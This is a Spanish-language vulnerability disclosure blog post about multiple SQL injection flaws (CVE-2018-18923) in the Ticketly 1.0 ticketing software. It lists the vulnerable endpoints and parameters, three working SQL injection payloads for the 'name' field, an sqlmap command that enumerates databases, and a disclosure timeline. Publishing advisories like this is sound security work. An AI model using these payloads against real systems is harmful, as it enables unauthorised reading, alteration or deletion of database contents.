En la entrada anterior, hemos visto una vulnerabilidad de Escalación de Privilegios en Ticketly 1.0, en esta entrada, vamos a ver otras vulnerabilidades que he encontrado en este software, en concreto, múltiples SQL Injections, estas vulnerabilidades han sido asociadas al CVE-2018-18923.
Ticketly – CVE-2018-18923
Ticketly 1.0 – Multiple SQL Injections
Ticketly 1.0, es un software de ticketing desarrollado por AbiSoft para ofrecer soporte a los usuarios sobre incidencias en los sistemas, está basado en PHP y MySQL.
📅 Vulnerabilidad descubierta por Javier Olmedo el 24/07/2018
💣 Publicada el 05/11/2018
🔗 Link del software Ticketly
🐞 Versión vulnerable = 1.0
Vector de ataque / Criticidad de la explotación
CRITICIDAD – CRÍTICA
A través de las vulnerabilidades SQL Injection, un usuario malintencionado podría leer, modificar o borrar información de la base de datos que utiliza la aplicación, lanzar comandos al sistema operativo o causar una denegación de servicio con el objetivo de obtener información confidencial, escalar privilegios o dejar inoperativa la aplicación.
Parámetros/Recursos vulnerables
En los siguiente recursos se han encontrado parámetros vulnerables a ataques SQL Injection a través de peticiones POST, estas peticiones permiten las condiciones WHERE, HAVING, ORDER BY y GROUP BY, lo que permite que sean fácilmente explotables y recuperar grandes cantidades de información de la base de datos con una sola consulta.
/action/addproject.php
Parámetros description, name, category_id y description
/action/addticket.php
Parámetros king_id, priority_id, project_id, status_id y title
/reports.php
Parámetros kind_id y status_id
💉 Payload 1 (boolean-based blind)
name=Test» RLIKE (SELECT (CASE WHEN (4632=4632) THEN 0x54657374 ELSE 0x28 END)) AND «lrmZ»=»lrmZ&description=Test
💉 Payload 2 (error-based)
name=Test» AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7176766a71,(SELECT (ELT(9139=9139,1))),0x7178717a71)) AND «SZJL»=»SZJL&description=Test
💉 Payload 3 (AND/OR time-based blind)
name=Test» RLIKE SLEEP(5) AND «WkTS»=»WkTS&description=Test
📷 Captura de pantalla de SQLmap lanzando el comando
sqlmap -r poc.req -p name --dbs
Prueba de concepto (PoC)
1. Si añadimos el caracter ‘ (%22) en el parámetro name obtenemos un error en la aplicación
1.1 Petición
1.2 Respuesta
2. En cambio, al añadir dos ‘ (%22%22), obtenemos un código 200 OK
2.1 Petición
2.2 Respuesta
Timeline
24/07/2018 Descubrimiento de la vulnerabilidad
24/07/2018 Contacto con el desarrollador
24/07/2018 El desarrollador marca la vulnerabiliad como pendiente de parcheo
02/11/2018 Solicito CVE
04/11/2018 Asignación de CVE-2018-18923 por MITRE
05/11/2018 Hago pública la vulnerabilidad
Referencias
CVE-MITRE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18923
Un saludo a todos!! 👋